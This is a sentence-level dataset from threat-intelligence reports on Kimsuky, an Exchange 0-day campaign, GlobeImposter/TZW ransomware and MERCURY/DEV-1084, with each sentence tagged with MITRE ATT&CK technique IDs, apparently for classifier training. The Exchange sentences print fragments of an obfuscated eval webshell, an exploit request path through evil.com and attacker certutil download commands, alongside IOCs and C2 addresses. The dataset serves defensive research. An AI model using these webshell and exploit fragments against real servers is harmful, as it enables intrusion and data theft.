{"sentence": "The URL https[://]www.nknews[.]pro/config[.]php hosts a password-protected remote management site, which is likely an implementation of the b374k tool, based on the implementation of the login site and the presence of the config.php file.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The Kimsuky group is known to use this tool for remote management of its infrastructure.", "labels": ["T1219"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The findings presented in this post highlight the group’s persistent commitment to targeted social engineering attacks and underscore the need for increased awareness and understanding of Kimsuky’s tactics among potential targets.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Maintaining vigilance and implementing effective security measures are imperative to mitigate the risks posed by this persistent threat actor.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Indicators of Compromise Indicator Description nknews[.]pro Phishing email sender domain chad.ocarroll@nknews[.]pro Phishing email sender address membership@nknews[.]pro Phishing email sender address https[://]www.nknews[.]pro Website impersonating NK News https[://]www.nknews[.]pro/config[.]php Website impersonating NK News: b374k login site https[://]www.nknews[.]pro/ip/register/ Website impersonating NK News:", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Circa the beginning of August 2022, while doing security monitoring & incident response services, GTSC SOC team discovered that a critical infrastructure was being attacked, specifically to their Microsoft Exchange application.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "During the investigation, GTSC Blue Team experts determined that the attack utilized an unpublished Exchange security vulnerability, i.e., a 0-day vulnerability, thus immediately came up with a temporary containment plan.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Thanks to experience finding the previous 1-day Exchange exploit, the RedTeam has a great understanding of Exchange’s code flows and processing mechanisms, therefore research time was reduced, and the vulnerability was uncovered quickly.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "GTSC submitted the vulnerability to the Zero Day Initiative (ZDI) right away to work with Microsoft so that a patch could be prepared as soon as possible.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "After careful testing, we confirmed that those systems were being attacked using this 0-day vulnerability.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "To help the community temporarily stop the attack before an official patch from Microsoft is available, we publish this article aiming to those organizations who are using Microsoft Exchange email system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Vulnerability information The exploit process comprises of two parts as follows: - Requests with a similar format to the ProxyShell vulnerability: autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The use of the link above to access a component in the backend where the RCE could be implemented.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The attack team also used various techniques to create backdoors on the affected system and perform lateral movements to other servers in the system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "We detected webshells, mostly obfuscated, being dropped to Exchange servers.", "labels": ["T1027"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Using the user-agent, we detected that the attacker uses Antsword, an active Chinese-based opensource cross-platform website administration tool that supports webshell management.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Language=\"Jscript\"%> <%eval(System.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "GetEncoding(936).GetString(System.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "FromBase64String('Wg=='))+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "We suspect that these come from a Chinese attack group because the webshell codepage is 936, which is a Microsoft character encoding for simplified Chinese.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Another notable feature is that the hacker also changes the content of the file RedirSuiteServiceProxy.aspx to webshell content.", "labels": ["T1036.005"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "RedirSuiteServiceProxy.aspx is a legitimate file name available in the Exchange server.", "labels": ["T1036.005"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "FileName Path RedirSuiteServiceProxy.aspx C:\\ProgramFiles\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth Xml.ashx C:\\inetpub\\wwwroot\\aspnet_client pxh4HG1v.ashx C:\\ProgramFiles\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth During the incident response process at another customer, GTSC noted that the attack team used another webshell template Filename: errorEE.aspx SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 Ref: https://github.com/antonioCoco/SharPyShell Command Execution Besides collecting information on the system, the attacker downloads files, and checks connections through certutil, which is a legitimate tool available in the Windows environment.", "labels": ["T1005", "T1059.003", "T1105"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "“cmd” /c cd /d \"c:\\\\PerfLogs\"&certutil.exe -urlcache -split -f", "labels": ["T1059.003"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "c:\\perflogs\\t&echo", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "https://httpbin.org/get", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "c:\\test&echo", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "[S]&cd&echo [E] It should be noted that every command ends with the string echo", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "[E], which is one of the signatures of the Chinese Chopper.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Suspicious File On the servers, we detected suspicious files of exe and dll formats FileName Path DrSDKCaller.exe C:\\root\\DrSDKCaller.exe all.exe C:\\Users\\Public\\all.exe dump.dll C:\\Users\\Public\\dump.dll ad.exe C:\\Users\\Public\\ad.exe gpg-error.exe C:\\PerfLogs\\gpg-error.exe cm.exe C:\\PerfLogs\\cm.exe msado32.tlb C:\\Program Files\\Common Files\\system\\ado\\msado32.tlb Among the suspect files, based on the commands executed on the server, we determined that all.exe and dump.dll are responsible for credentials dumping on the server system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "After that, the attacker uses rar.exe to compress dumped files and copy them to the webroot of the Exchange server.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The DLL consists of two classes: Run and m, each of which calls to methods that perform different tasks.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Specifically: The Run class creates a listener that listens for connections to port 443 at the path https://*:443/ews/web/webconfig/. After listening, the malware creates a new thread that calls to r. Method r does: - Check whether the received request has data in the body or not, if not then returns result 404.", "labels": ["T1071.001"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "- Conversely, if the request includes data, the DLL continues to process the stream inside the IF branch: Check if the received request includes \"RPDbgEsJF9o8S=\" or not.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Results returned to the client in the following format { \"result\":1, \"message\":\"base64(aes(result))", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "i does: - Decrypt the request received using AES algorithm where the first 16 bytes of the request are the IV value, the next 16 bytes are the key value, the rest are the data.", "labels": ["T1140"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "- After decoding, get the first element in the array as a flag to handle the defined cases as follows: o Case 0: Call to method info.", "labels": ["T1140"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Information such as operating system architecture, framework version, operating system version, etc.", "labels": ["T1082"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "GTSC simulates case 0 with the image below.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The request is sent in a format that the first 16 bytes are the IV value, the next 16 bytes are the key value, followed by a flag to specify the option, and the rest is data.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "base64 (IV | key | aes(flag|data)) o Case 1: Calls to method sc, which is responsible for allocating memory to implment the shellcode o Case 2: Call to two methods p and r. Method p handles data separated by the \"|\" character, save to array array3.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The array array3 will take the first 2 elements as parameters for method r, which is responsible for executing the command o Case 3: Call to method ld, which is responsible for listing directory and file information in the format D|-|<Date created> |<Date modified> |<folder or file name> o Case 4: Call to method wf, which is responsible for writing files o Case 5: Call to method rf, which is responsible for reading files o Case 6: Create a folder o Case 7: Delete file or folder o Case 8: Moving file o", "labels": ["T1070.004", "T1083"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Case 9: Set time for a file o Case 10: Load and execute C# bytecode received from request.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The other DLL samples have similar tasks, and are only different in listener configurations as follows:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The DLL makes a connection to send and receive data to the address 137[.]184[.]67[.]33 that is fixed in the binary.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Sending and receiving data with C2 using the RC4 encryption algorithm where the key will be generated at runtime.", "labels": ["T1573.001"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Temporary containment measures GTSC's direct incident response process recorded more than 1 organizations being the victims of an attack campaign exploiting this 0-day vulnerability.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "While waiting for the official patch from the company, GTSC provides a temporary remedy to reduce the vulnerability of attacks by adding a rule to block requests with indicators of attack through the URL Rewrite Rule module on IIS server.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Detection: To help organizations check if their Exchange Servers have been exploited by this bug yet, GTSC have released guideline and a tool to scan IIS log files (stored by default in the %SystemDrive%\\inetpub\\logs\\LogFiles folder ):", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Method 1: Use powershell command: Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter \"*.log\"", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "| Select-String -Pattern 'powershell.*autodiscover\\.json.*\\@.*200 Method 2: Use the tool developed by GTSC:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Based on the exploit signature, we build a tool to search with much shorter time needed than using powershell.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The link to download: https://github.com/ncsgroupvn/NCSE0Scanner Indicators of Compromise (IOCs) Webshell:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "File name: Dll.dll SHA256: 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3 c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2 File name: 180000000.dll (Dump từ tiến trình Svchost.exe) SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e IP: 125[.]212[.]220[.]48 5[.]180[.]61[.]17 47[.]242[.]39[.]92 61[.]244[.]94[.]85 86[.]48[.]6[.]69 86[.]48[.]12[.]64 94[.]140[.]8[.]48 94[.]140[.]8[.]113 103[.]9[.]76[.]208 103[.]9[.]76[.]211 104[.]244[.]79[.]6 112[.]118[.]48[.]186 122[.]155[.]174[.]188 125[.]212[.]241[.]134 185[.]220[.]101[.]182 194[.]150[.]167[.]88 212[.]119[.]34[.]11 URL: hxxp://206[.]188[.]196[.]77:8080/themes.aspx C2: 137[.]184[.]67[.]33 Mitre ATT&CK Mapping Tatic ID Name Resource Development T1586.002 Compromise Accounts: Email Accounts Execution T1059.003 Command and Scripting Interpreter:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "LSASS Memory Discovery T1087 Account Discovery Discovery T1083 File and Directory Discovery Discovery T1057 Process Discovery Discovery T1049 System Network Connections Discovery Lateral Movement T1570 Lateral Tool Transfer Collection T1560.001 Archive Collected Data: Archive via Utility 28/09/2022 GTSC TEAM", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family url: https://www.sentinelone.com/blog/recent-tzw-campaigns-revealed-as-part-of-globeimposter-malware-family/ In recent years, efforts to apprehend threat groups and shrink their operating landscape have gone international.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Our research links TZW ransomware to a known malware family called GlobeImposter (sometimes referred to as LOLNEK or LOLKEK).", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Overview of GlobeImposter & New Variant TZW GlobeImposter has a long and winding history.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "First observed in-the-wild in 2016, the name “GlobeImposter” is based on the ransomware’s mimicry of Globe ransomware payloads.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Multiple new versions and variations of GlobeImposter have appeared in the years since.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Frequently, these have been referred to by their extension (e.g., .DREAM, .Nutella, .NARCO, .LEGO).", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "In that same year, Emisoft released a decryption tool for early versions of GlobeImposter.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Shortly after, the malware authors responded with an updated version for which no decryption tools are available.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Since 2017, campaigns delivering GlobeImposter have continued to proliferate even though the ransomware has only evolved slightly.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The ransomware has also been used in conjunction with some well-documented high-end cybercriminal groups.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "For example, in 2017 TA505 (also known as G0092, GOLD TAHOE) began using GlobeImposter in replacement of Jaff, GandCrab, and Snatch to extend the reach and effectiveness of their campaigns.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter’s Delivery Methods Explained GlobeImposter is most often delivered via phishing email as an attachment or a link to a malicious attachment.", "labels": ["T1566.001"], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The archives often include a JavaScript (.js) file that downloads and executes the GlobeImposter payload.", "labels": ["T1027"], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "More recent campaigns from within the past three years still tend to follow this formula.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter has also been distributed as a later-stage infection within some well-known botnets.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "This occurred as part of multiple spam campaigns that also included 7zip archives and followed the execution flow previously described.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Linking TZW Attacks to GlobeImposter AhnLab’s research revealed a ransomware campaign they referred to as “TZW” with victims in South Korea.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The name is derived from the first 3 characters of the TOR-based victim portal.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "A closer look suggests that “TZW” samples represent a new variant of the GlobeImposter family.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Ransom note similarities are far from reliable, but it’s worth noting their likenesses.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Example of a GlobeImposter ransom note.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Example of a TZW variant GlobeImposter ransom note.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Once a machine is infected, more concrete markers indicate a deeper level of similarity.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "One such marker is the “CRYPTO LOCKER” string appended to the tail of the encrypted files.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter has the ability to delete volume shadow copies, thereby inhibiting the recovery of data.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "There are clear similarities around the methodology of the VSS removal.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter vs TZW variant shadow copy removal procedure.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "A thorough comparison of the two respective samples shows there are only minor differences.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Zoomed-out view of GlobeImposter (hex) compared against the TZW variation.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "We have seen the newer TZW variations vary somewhat with regards to file metadata.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Two TZW payloads, varied file metadata A majority of the TZW variant samples that we have analyzed resemble the version on the left hand side.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The version on the right was seen in the samples noted by AhnLab.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Understanding TZW and GlobeImposter’s Shared Infrastructure Previous GlobeImposter payloads directed victims to a TOR-based portal at obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.]onion.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter Victim Portal 1.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Beginning in late 2022, we start to see victims also being directed to tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "In addition, we can confirm the relationship between these via the publicly-viewable Apache Server Status Page.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Apache Status page – GlobeImposter victim portal.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Through this view we see that the following vhosts are active on the device.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "This evidence of shared infrastructure suggests that the newly rebranded TZW ransomware samples are likely being operated by the same group that was pushing recent waves of GlobeImposter malware.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "How to Protect Against GlobeImposter and TZW Ransomware SentinelOne Singularity protects against malicious behaviors and malware associated with GlobeImposter and TZW.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "With the site policy set to Protect, GlobeImposter ransomware is detected and prevented automatically.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "In Detect-only mode, analysts can observe the malware’s behaviour and file encryption attempts, rolling back the device to a clean state on completion of the test.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "We also show that the old “LOLNEK” Onion address and the Onion address within the TZW variant are hosted on the same server as two vhosts.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Regardless of the name or brand, GlobeImposter continues to pose a threat to enterprises.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "SentinelOne Singularity protects against malicious behaviors and malware associated with GlobeImposter and TZW.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Indicators of Compromise SHA1 4585da0ff7a763be1a46d78134624f7cd13e6940 14be1c43fbfb325858cda78a126528f82cf77ad2 dc98b516c9c589c2b40bc754732ad5f16deb7c82 d034880d1233d579854e17b6ffad67a18fb33923 858f3f7f656397fcf43ac5ea13d6d4cbe7a5ca11 9a080cd497b8aa0006dc953bd9891155210c609c 8c64e820a4c5075c47c4fbaea4022dc05b3fd10b 3326708ba36393b1b4812aa8c88a03d72689ac24 cf5ab37612f24ed422a85e3745b681945c96190e cf21028b54c4d60d4e775bf05efa85656de43b68 Onions tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.]onion MITRE ATT&CK T1005 – Data from Local System T1202 – Indirect Command Execution T1486 – Data Encrypted for Impact T1070.004 – Indicator Removal:", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "April 2023 update – Microsoft Threat Intelligence has shifted to a new threat actor naming taxonomy aligned around the theme of weather.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "MERCURY is now tracked as Mango Sandstorm and DEV-1084 is now tracked as Storm-1084.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "To learn more about the new taxonomy represents the origin, unique traits, and impact of threat actors, to get complete mapping of threat actor names, read this blog:", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Microsoft Threat Intelligence has detected destructive operations enabled by MERCURY, a nation-state actor linked to the Iranian government, that attacked both on-premises and cloud environments.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Previous MERCURY attacks have been observed targeting on-premises environments, however, the impact in this case notably also included destruction of cloud resources.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "In this blog post, we detail our analysis of the observed actor activity and related tools.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "We also share information to the community and industry partners on ways to detect these attacks, including detection details of MERCURY and DEV-1084’s tools in Microsoft 365 Defender, Microsoft Defender for Identity, Microsoft Defender for Cloud Applications, Microsoft Defender Antivirus, and Microsoft Defender for Endpoint.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing Microsoft to track it as a unique set of information until we reach high confidence about the origin or identity of the actor behind the activity.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Who is DEV-1084?", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Microsoft tracks the destructive actions documented in this blog post as DEV-1084.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "DEV-1084 likely worked in partnership with MERCURY—an Iran-based actor that the US Cyber Command has publicly linked to Iran’s Ministry of Intelligence and Security (MOIS).", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "DEV-1084 publicly adopted the DarkBit persona and presented itself as a criminal actor interested in extortion, likely as an attempt to obfuscate Iran’s link to and strategic motivation for the attack.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The link between the DEV-1084 cluster and MERCURY was established based on the following evidence: DEV-1084 operators were observed sending threatening emails from 146.70.106[.]89, an IP address previously linked to MERCURY.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "DEV-1084 used MULLVAD VPN, the same VPN provider historically used by MERCURY.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "DEV-1084 used Rport and a customized version of Ligolo.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "DEV-1084 used the vatacloud[.]com domain for command and control (C2) during this incident.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "MERCURY then handed off access to DEV-1084.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Early activities, related attacker tools and techniques Microsoft assesses with moderate confidence that the threat actors attempted several times and succeeded to perform initial intrusion leveraging exposed vulnerable applications, for example, continuing to exploit Log4j 2 vulnerabilities in unpatched systems in July 2022.", "labels": ["T1190"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "After gaining access, the threat actors deploy several tools and leverage techniques to maintain persistence, which provide effective and continued access to compromised devices, such as the following:", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Such reconnaissance activities were seen leveraged throughout the attack chain.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The threat actors consistently perform extensive lateral movement actions using the acquired credentials within a targeted environment.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "These actions mainly involved: Remote scheduled tasks to launch their customized PowerShell backdoor Windows Management Instrumentation (WMI) to launch commands on devices Remote services to run encoded PowerShell commands After infecting the new devices, the threat actors often installed the same persistence mechanisms as described above.", "labels": ["T1047", "T1053.005"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Interestingly, after each main attack step, the actors did not always immediately continue their operations but would wait weeks and sometimes months before moving to the next step.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "With defenses impaired, the threat actors proceeded to stage the ransomware payload in the NETLOGON shares on several domain controllers.", "labels": ["T1484.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "GPO was leveraged again to register a scheduled task used to launch the ransomware payload.", "labels": ["T1053.005", "T1484.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Finally, the ransomware payload encrypted files found on the file system of the targeted devices by changing the file name extension to DARKBIT and dropped ransom notes.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
